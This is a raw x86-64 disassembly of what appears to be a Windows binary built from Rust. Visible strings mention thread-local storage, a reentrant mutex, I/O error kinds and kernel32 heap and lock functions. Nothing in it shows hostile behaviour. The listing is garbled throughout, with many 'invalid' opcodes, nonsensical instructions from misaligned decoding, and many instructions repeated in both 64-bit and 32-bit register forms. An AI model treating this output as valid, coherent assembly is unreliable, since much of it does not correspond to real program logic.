add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test dword [rdx + rax], ebx
sbb al, 2
sbb al, 2
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rdx + rax], ebp
add al, byte [rax]
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rdx + rax], esp
and al, 2
and al, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax], edx
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax], ecx
add al, byte [rax]
add byte [rax], al
invalid
mov dword [rbp + 0x208], 1
or byte [rdx], al
add byte [rax], al
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x38], al
add byte [rax], al
add cl, byte [rcx + 0x21885]
invalid
add byte [rax], al
add byte [rbp + rcx*4 - 0x7b], cl
or byte [rdx], al
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rdx
mov rdx, r14
invalid
add byte [rax], al
bnd call fcn.140082100
mov edi, edx
ror byte [rdi], 0x84
and al, byte [rcx]
add byte [rax], al
clc
loopne 0x1400850cf
add cl, byte [rdi]
invalid
add cl, byte [rdi]
test ebp, edi
add byte [rax], al
add byte [rax - 0x3f], cl
invalid
invalid
invalid
shr edx, 0x20
cli
add eax, 0xfa830974
and byte [rdi], cl
test edx, ebp
add byte [rax], al
add byte [rax], al
invalid
invalid
mov ebp, 0x230
add byte [rax - 0x73], cl
movabs al, byte [0xa8e8f0894dfa894c]
outsb dx, byte [rsi]
invalid
mov eax, esi
invalid
mov eax, dword [rbp - 0x60]
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
mov r8b, 0x48
mov dword [rbp - 0x60], eax
movabs al, byte [0xb04d8948a865894c]
lea ecx, [rbp + 0x1f0]
lock add dword [rax], eax
add byte [rax - 0x73], cl
push rbp
movabs al, byte [0xffffd7a4e801b041]
mov al, 1
invalid
add byte [rax], al
invalid
invalid
adc byte [rbp - 0x4c], cl
mov edx, dword [rbp - 0x44]
mov esp, 0x7374db85
shl rdx, 0x20
or rdx, r8
ret 0xc748
invalid
add byte [rax], al
add byte [rax], al
ret 0xc748
add byte [rax], al
add byte [rax], al
mov dword [rsi + 0x10], 0
mov dword [rsi + 0x18], 0
sbb byte [rax], r8b
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
sbb byte [rax], r8b
add byte [rax], al
add byte [rax], al
movups xmmword [rsi + 0x20], xmm0
add byte [rax], al
movups xmmword [rsi + 0x20], xmm0
movlps qword [rsi + 0x30], xmm1
mov qword [rsi + 0x38], rdx
push rsi
cmp byte [rcx + 0x4e894046], cl
mov dword [rsi + 0x44], ecx
xor esi, esi
invalid
push rsi
cmp byte [rcx + 0x4e894046], cl
mov dword [rsi + 0x44], ecx
xor esi, esi
invalid
jmp case.0x140083924.146
add byte [rax], al
add bl, ch
adc al, 0x48
mov rcx, rsi
add byte [rax], al
mov edx, edi
cmp al, 0xd1
invalid
sar edi, 1
dec dword [rax - 0x77]
mov ecx, edi
mov ecx, edi
adc eax, 0x2b1c3
ret
add byte [rax - 0x3f3b7eb8], dl
add al, byte [rax]
invalid
rol byte [rdx], 0
add byte [rbx + 0x5f], bl
pop rsp
pop rdi
mov dword [rsi + 8], esp
mov dword [rsi], 2
invalid
add byte [rax], al
add bl, ch
add byte [rax], al
test eax, 0x400
test eax, 0x400
add byte [rsi + rax*4 + 0x41], dh
je 0x1400851aa
mov r9d, ecx
mov ecx, ecx
and r9d, 0x20000000
and ecx, 0x20000000
loope 0x14008522b
add byte [rax], al
and byte [rdi], cl
test byte [rsi - 1], dh
jbe case.0x140083948.130
je 0x1400851aa
jbe case.0x140083948.130
invalid
invalid
mov dword [rsi + 8], edi
mov dword [rsi], 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x4a], al
add byte [rax], al
add dword [rbp - 0x7b], ecx
in al, 0x74
adc cl, byte [rax - 0x75]
or eax, 0x73faa
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov r8, r14
mov eax, esi
scasd eax, dword [rdi]
mov cl, 2
add al, byte [rax]
test sil, sil
jne case.0x140083924.131
add al, byte [rax]
lahf
lea esi, [rax]
add al, byte [rax]
xor byte [rdx], al
add byte [rax], al
invalid
add al, ch
invalid
invalid
xchg ecx, eax
nop dword [rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
invalid
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x73], cl
invalid
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea esi, [rax]
invalid
lea rcx, [rbp + 0x230]
xor byte [rdx], al
add al, byte [rax]
add byte [rax], al
add al, ch
cli
invalid
call fcn.14007a090
invalid
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
int3
int3
int3
int3
int3
sub rsp, 0x40
sub esp, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x18], edx
call 0xcb5065cd
call qword [rdx]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14880d61c
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
add byte [rbp + rcx + 0x48], dh
cmp dword [rax + 0x10], 0x11
js 0x1400852eb
invalid
je 0x1400852e4
cmp qword [rax + 0x10], 0x11
js 0x1400852eb
adc dword [rbx + 0xc], esi
jae case.0x140083948.159
or al, 0x4c
mov eax, dword [rbp - 0x10]
invalid
mov r8, qword [rbp - 0x10]
invalid
jmp 0x1400852f2
invalid
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
invalid
xor edx, edx
add rsp, 0x40
invalid
pop rbp
ror byte [rax - 0x7d], cl
invalid
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
nop word [rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
invalid
invalid
lea rbp, [rdx + 0x40]
push 0x40
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14880d66e
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
js 0x14008532e
or byte [rax], al
add byte [rdx + rbp + 0x48], dh
je 0x140085353
sub cl, byte [rax - 0x75]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x15080d679
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js 0x140085341
adc dword [rdx + 0xc], esi
jb case.0x140083cda.121
mov rax, qword [rbp - 0x10]
invalid
mov rax, qword [rax - 8]
mov eax, dword [rax - 8]
clc
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
invalid
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x73eb1
invalid
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 0x10]
xor edx, edx
mov r8, qword [rbp - 0x10]
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2b0b5
mov al, 2
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
add esp, 0x20
and byte [rbp - 0x3d], bl
pop rbp
ret
int3
int3
int3
int3
sub rsp, 0x28
in al, dx
sub byte [rax - 0x75], cl
or dword [rcx + 0x3e083c8], ecx
and eax, 3
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov eax, ecx
and eax, 3
loopne 0x14008536f
lea rdx, [0x1400f0bfc]
mov dword [rax + 0x63480006], edi
mov eax, 0x63480006
invalid
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add rax, rdx
jmp rax
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
add dword [rax - 0x75], ecx
mov edx, dword [rcx + 8]
push rcx
or byte [rax - 0x7d], cl
add rsp, 0x28
ret
invalid
mov rax, qword [rcx - 1]
mov rdx, qword [rcx + 7]
mov rcx, rax
push rcx
invalid
call qword [rdx + 0x40]
nop
add rsp, 0x28
sub bl, al
sub bl, al
shr rcx, 0x20
shr ecx, 0x20
call fcn.14007cc10
dec dword [rax + 0xf]
mov esi, 0xd8d48c0
ror byte [rax - 0x73], 0xd
movsx rax, al
lea rcx, [0x1400eaf50]
or eax, 0x65ba0
ror byte [rax - 0x73], 0xd
or eax, 0x65ba0
movabs al, byte [0x48c1148b4800065b]
lea ecx, [0x1400eb098]
pop rsp
invalid
invalid
mov rdx, qword [rcx + rax*8]
mov edx, dword [rcx + rax*8]
adc al, 0xc1
lea rcx, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
pop rsp
invalid
mov rax, qword [rcx + rax*8]
add al, 0xc1
add rsp, 0x28
ret
invalid
shr rcx, 0x20
shr ecx, 0x20
cmp ecx, 0x28
ja case.0x14008537a.8
stc
sub byte [rdi + 0x14], dh
lea rax, [0x1400f0c0c]
cmp byte [rax + 0x63480006], bh
mov eax, 0x63480006
movsxd rcx, dword [rax + rcx*4]
invalid
or al, 0x88
add rcx, rax
add ecx, eax
jmp rcx
loope 0x14008540f
xor eax, eax
jmp 0x1400853a5
shr bl, 0xc4
mov al, 0x29
jmp 0x1400853a5
invalid
sal byte [rax - 0x4f4314ff], 2
mov al, 1
jmp 0x1400853a5
mov al, 2
jmp 0x1400853a5
mov al, 3
jmp 0x1400853a5
add ebp, ebx
mov ah, 0xb0
mov al, 4
jmp 0x1400853a5
mov al, 5
jmp 0x1400853a5
lodsb al, byte [rsi]
mov al, 6
mov al, 4
jmp 0x1400853a5
mov al, 5
jmp 0x1400853a5
lodsb al, byte [rsi]
lodsb al, byte [rsi]
mov al, 6
jmp 0x1400853a5
mov al, 7
jmp 0x1400853a5
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
mov al, 8
jmp 0x1400853a5
mov al, 9
jmp 0x1400853a5
mov al, 0xa
jmp 0x1400853a5
cwde
cwde
mov al, 0xb
or ebp, ebx
xchg esp, eax
jmp 0x1400853a5
mov al, 0xc
jmp 0x1400853a5
nop
nop
mov al, 0xd
jmp 0x1400853a5
invalid
invalid
mov al, 0xe
jmp 0x1400853a5
invalid
mov byte [rax - 0x4f7b14f1], dh
adc bl, ch
invalid
mov al, 0xf
jmp 0x1400853a5
mov al, 0x10
jmp 0x1400853a5
xor byte [rax - 0x8616ef], 0xff
push qword [rax - 0x8d16ee]
mov al, 0x12
invalid
jb case.0x140083d73.141
invalid
mov al, 0x11
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x12
jmp 0x1400853a5
invalid
invalid
invalid
invalid
invalid
mov al, 0x13
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x14
jmp 0x1400853a5
invalid
invalid
invalid
push qword [rax - 0xa216eb]
mov al, 0x15
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x16
jmp 0x1400853a5
invalid
invalid
invalid
invalid
invalid
mov al, 0x17
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x18
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x19
jmp 0x1400853a5
invalid
invalid
invalid
invalid
mov al, 0x1a
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x1b
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x1c
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x1d
jmp 0x1400853a5
invalid
invalid
invalid
invalid
invalid
mov al, 0x1e
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x1f
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x20
jmp 0x1400853a5
invalid
invalid
invalid
push qword [rax - 0xf616df]
mov al, 0x21
jmp 0x1400853a5
invalid
invalid
invalid
invalid
invalid
mov al, 0x22
jmp 0x1400853a5
invalid
invalid
invalid
mov al, 0x23
jmp 0x1400853a5
invalid
invalid
invalid
invalid
invalid
mov al, 0x24
jmp 0x1400853a5
hlt
mov al, 0x25
jmp 0x1400853a5
invalid
invalid
mov al, 0x26
jmp 0x1400853a5
out 0xfe, al
invalid
invalid
out 0xfe, al
invalid
mov al, 0x27
jmp 0x1400853a5
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x28
jmp 0x1400853a5
fdivr st(6)
invalid
invalid
fdivr st(6)
invalid
add dword [rcx + rcx*4 - 0x3f], eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
cli
add dh, byte [rbx + 5]
cli
add dh, byte [rbx + 5]
add rsp, 0x28
ret
test rcx, rcx
leave
je 0x1400854e9
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x48]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
ret
int3
rol dword [rbx - 0x3fcefc1f], 0x48
lea edx, [rcx - 2]
cmp rdx, 2
cmp edx, 2
jae 0x14008552e
add rsp, 0x28
ret
test rcx, rcx
je 0x140085529
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x30]
nop
add rsp, 0x28
ret
int3
test eax, eax
je 0x140085717
mov r13, r8
mov rbx, rdx
mov rdi, rcx
mov rax, r8
shl rax, 4
xor edx, edx
xor ecx, ecx
nop dword [rax]
cmp dword [rbx + rdx], 0
jne 0x140085592
int 0xf
invalid
in eax, dx
je 0x140085717
lea rax, [rbx - 0x10]
mov rsi, r13
shl rsi, 4
mov rcx, rsi
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test rcx, rcx
je 0x140085630
mov r9d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r9, r9
je 0x140085610
mov r8, qword [rax + 8]
jmp 0x140085636
xor r9d, r9d
mov r8, r12
mov qword [rsp + 0x20], rdi
mov rcx, r15
mov edx, 0xfffffff4
call fcn.14007b330
cmp qword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
je case.default.0x140085662
mov rax, qword [rsp + 0x30]
mov ecx, eax
and ecx, 3
movsxd rcx, dword [rbp + rcx*4]
add rcx, rbp
jmp rcx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x14008572a
xor edx, edx
xor ecx, ecx
mov rax, r8
nop word cs:[rax + rax]
mov r9d, dword [rbx + rdx]
sub rax, r9
jb 0x1400856cc
xor eax, eax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.failed_to_write_whole_buffer
jmp 0x140085719
mov dword [rbp - 0x10], eax
mov rax, qword [rbp - 8]
inc qword [rax]
lea rax, [rsi + 8]
mov qword [rbp - 8], rax
cmp qword [rsi + 8], 0
je 0x140085856
mov rcx, qword [rbp - 8]
call fcn.14007a090
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov al, 1
add rsp, 0x48
pop rsi
pop rbp
ret
add byte [rax - 0x7d], cl
invalid
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
add rsp, 0x28
pop rsi
pop rbp
ret
jmp fcn.140042240
invalid
add byte [rax], al
add byte [rax], al
je 0x1400859ef
lea rax, [rax + 0xe8]
sub al, 0
add byte [rax], al
jmp 0x140085a01
mov qword [rbp - 0x18], rcx
call fcn.140085a90
test rax, rax
ror byte [rax - 0x75], 0x4d
invalid
je 0x140085a14
ror byte [rax - 0x75], 0x4d
call 0xcb506d77
adc byte [rax - 0x77], cl
or byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
mov rdx, qword [rax]
mov qword [rax], rcx
mov rax, rdx
add rsp, 0x40
pop rbp
ret
shr bl, cl
test rcx, rcx
test rcx, rcx
je 0x140085a2c
adc ecx, dword [rax - 0x75]
call 0x14907a311
invalid
mov rax, qword [rbp - 0x18]
lock dec qword [rax]
invalid
or byte [rbp + 9], dh
jne 0x140085a2c
mov rcx, qword [rbp - 0x18]
call fcn.140068050
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e8060]
lea r8, [rbp - 9]
mov edx, 0x46
call fcn.1400aa430
ud2
add byte [rax - 0x39], cl
invalid
add eax, 0xfe2511e8
dec dword [rbx + 0x7377f05]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0xe8]
lea eax, [rax + 0xe8]
lea eax, [rax + 0xe8]
add rsp, 0x20
add esp, 0x20
and byte [rsi - 0x3d], bl
int3
pop rsi
ret
mov ecx, dword [rcx + 8]
cmp qword [rax], 0
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add dh, al
adc byte [rdx], al
mov byte [rax + 0x10], 2
je 0x140085b88
adc byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x140085b88
lock dec qword [rcx]
jne 0x140085b88
jmp fcn.140068050
and al, 0xfe
inc ebx
int3
ret
int3
int3
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rax - 0x77]
mov esi, ecx
mov esi, ecx
invalid
movzx eax, byte [0x1400f9150]
test al, al
je 0x140085c8e
add byte [rax + rax*8 + 0xd7840f], al
add byte [rax], al
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
je 0x140085bdd
lea rdi, [rax + 0xe8]
add byte [rax], al
jmp 0x140085bee
call fcn.140085a90
invalid
mov rdi, rax
test rax, rax
je 0x140085c8e
mov rbx, qword [rdi]
mov qword [rdi], 0
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
test rbx, rbx
je 0x140085c8e
fisttp dword [rdi]
test byte [rbp + 0x48000000], cl
lea ecx, [rbx + 0x10]
lea rcx, [rbx + 0x10]
mov qword [rbp - 0x30], rcx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
invalid
cmpsd dword [rsi], dword [rdi]
add al, byte [rax]
add al, byte [rax]
add byte [rax - 0x75], cl
add eax, 0x7367a
jp 0x140085c4a
invalid
invalid
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x140085df8
add bh, al
in al, dx
mov dword [rbp - 0x14], 0
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbx + 0x18]
mov qword [rbp - 0x20], rbx
lea rax, [rbx + 0x20]
mov qword [rbp - 0x10], rax
invalid
invalid
mov qword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
clc
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e87e0]
lea edx, [0x1400e87e0]
lea rcx, [rbp - 0x10]
mov r8, rsi
call fcn.140042240
sti
dec dword [rax - 0x75]
clc
clc
test al, al
je 0x140085d9f
test rcx, rcx
lea rax, str.formatter_error
push rsi
xor al, 6
add byte [rax + 0xf], cl
ror dword [r8 - 0x77], 0x45
invalid
lea rcx, [rbp - 0x10]
call fcn.14007a090
cmp byte [rbp - 0x14], 0
in al, dx
add byte [rax - 0x75], cl
jne 0x140085c63
jne 0x140085dce
ror dword [rax - 0x77], 0x45
invalid
jmp 0x140085dbf
mov rax, qword [0x1400f92b0]
mov ecx, dword [0x1400f92c4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0xd9]
cmp rax, rcx
jne 0x140085cd8
mov eax, dword [0x1400f92b8]
inc eax
jne 0x140085d0b
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1400e93b8]
mov edx, 0x26
call fcn.1400aa4d0
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x735c9
lea rcx, [0x1400f92a8]
leave
xor eax, 0x15ff0007
add esp, dword [rdi + 0x58b0002]
fnstenv [0x1886d5cf4]
mov ecx, dword [0x58]
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
add al, 0xc1
lea rax, [rax + 0xd9]
mov qword [0x1400f92b0], rax
mov eax, 1
add byte [rcx + 0x735a705], cl
add byte [rax - 0x73], cl
add eax, 0x73580
mov dword [0x1400f92b8], eax
lea rax, [0x1400f9298]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov qword [rbp - 8], 0
lea rdx, [0x1400e8780]
lea rcx, [rbp - 0x10]
mov r8, rsi
call fcn.140042240
mov rcx, qword [rbp - 8]
test al, al
je 0x140085d84
test rcx, rcx
lea rsi, str.formatter_error
cmovne rsi, rcx
mov rcx, qword [rbp - 0x28]
dec dword [rcx + 0x20]
jne 0x140085d70
mov qword [rcx + 0x18], 0
add rcx, 0x10
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov qword [rbp - 0x10], rsi
test rsi, rsi
test esi, esi
test esi, esi
je 0x140085dee
lea rcx, [rbp - 0x10]
call fcn.14007a090
jmp 0x140085dee
invalid
test rcx, rcx
je 0x140085d92
lea rcx, [rbp - 8]
call fcn.14007a090
invalid
invalid
invalid
invalid
xor esi, esi
mov rcx, qword [rbp - 0x28]
fdivr st(7)
and byte [r13 - 0x2d], sil
fdivr st(7)
and byte [r13 - 0x2d], sil
jmp 0x140085d5e
test rcx, rcx
je 0x140085dad
lea rcx, [rbp - 8]
call fcn.14007a090
invalid
invalid
invalid
invalid
mov qword [rbp - 0x10], 0
cmp byte [rbp - 0x14], 0
mov rsi, qword [rbp - 0x20]
jne 0x140085dce
mov rax, qword [0x1400f9290]
add eax, 0x734ca
shl rax, 1
test rax, rax
jne 0x140085e07
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [rdi]
mov qword [rdi], rsi
test rcx, rcx
je 0x140085dee
lock dec qword [rcx]
jne 0x140085dee
call fcn.140068050
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.1400ae5e0
xor al, 1
mov dword [rbp - 0x14], eax
jmp 0x140085c29
call fcn.1400ae5e0
test al, al
jne 0x140085dce
mov byte [rsi + 0x18], 1
jmp 0x140085dce
movsb byte [rdi], byte [rsi]
add al, byte [rax]
nop
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
invalid
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov esi, eax
mov esi, eax
invalid
mov rbx, rdx
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
adc byte [rcx + rbp - 0x10], cl
adc byte [rcx + rbp - 0x10], cl
cmp rax, r8
cmp eax, eax
sal byte [rdx + 0x24], 0x48
mov ecx, dword [rdi]
jb 0x140085f66
mov rcx, qword [rdi]
add rcx, r14
add ecx, esi
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
mov qword [rdi + 0x10], r14
test byte [rcx + rcx*4 + 0x77], 0x10
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
mov rcx, rdi
mov rdx, r14
mov r8, rsi
invalid
invalid
call fcn.1400ab0a0
push rcx
add al, byte [rax]
mov r14, qword [rdi + 0x10]
ja 0x140085f88
adc bl, ch
enter 0xffffffffffffcccc, 0xffffffffffffffcc
int3
jmp 0x140085f42
in al, dx
xor bh, al
and al, 0x2c
sub al, 0
add byte [rax], al
add byte [rax], al
invalid
cli
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp edx, 0x80
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xe], dh
jae case.0x140083cda.132
mov byte [rsp + 0x2c], dl
mov esi, 1
jmp 0x14008602c
xchg dword [rax], eax
add byte [rax], al
xchg dword [rax], eax
add byte [rax], al
mov eax, edx
rol byte [rcx + 0x800fa], 1
add byte [rbx + 0x1a], dh
invalid
cmp edx, 0x800
add byte [rax], al
jae 0x140085fc9
sbb al, cl
call 0xc8c86bbb
and al, 0x2c
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and dl, 0x3f
or dl, 0x80
invalid
mov byte [rsp + 0x2d], dl
push rsp
and al, 0x2d
or byte [rax - 0x41d2dbac], 2
add byte [rax], al
push rsp
and al, 0x2d
mov esi, 2
jmp 0x14008602c
add bl, ch
invalid
cmp edx, 0xffff
ja 0x140085ff8
shr eax, 0xc
or al, 0xe0
loopne 0x140085f5f
and al, 0x2c
loopne 0x140085f5f
and al, 0x2c
sub al, 0x89
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
rol cl, 1
call 0x14c4783e8
or byte [rax - 0x7fd2dbbc], 0xe2
invalid
mov byte [rsp + 0x2e], dl
and al, 0x2e
mov esi, 3
add byte [rax], al
add bl, ch
jmp 0x14008602c
shr eax, 0x12
and al, 7
or al, 0xf0
jmp 0x14008602c
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
or al, 0x24
invalid
or al, 0x24
invalid
or al, 0x80
mov byte [rsp + 0x2d], al
and al, 0x2d
and al, 0x2d
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
retf 0x8880
push rsp
and al, 0x2f
mov esi, 4
add byte [rax], al
retf 0x8880
or byte [rax - 0x41d0dbac], 4
add byte [rax], al
add byte [rax], al
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
invalid
invalid
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
fmul dword [rax + 0x39]
invalid
jb 0x140086063
invalid
fmul dword [rax + 0x39]
invalid
mov rcx, qword [rdi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1400ab0a0
mov rbx, qword [rdi + 0x10]
jmp 0x14008603f
mov r8, rdx
lea rdx, [0x1400e87e0]
jmp fcn.140042240
int3
insb byte [rdi], dx
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], rcx
lock inc qword [0x1400f9290]
jle 0x140086103
invalid
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
test byte [rax + 0xc8], 1
jne 0x140086103
invalid
enter 0, 0
add dword [rbp + 0x21], esi
invalid
and dword [rbx + 0x731dc05], ecx
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
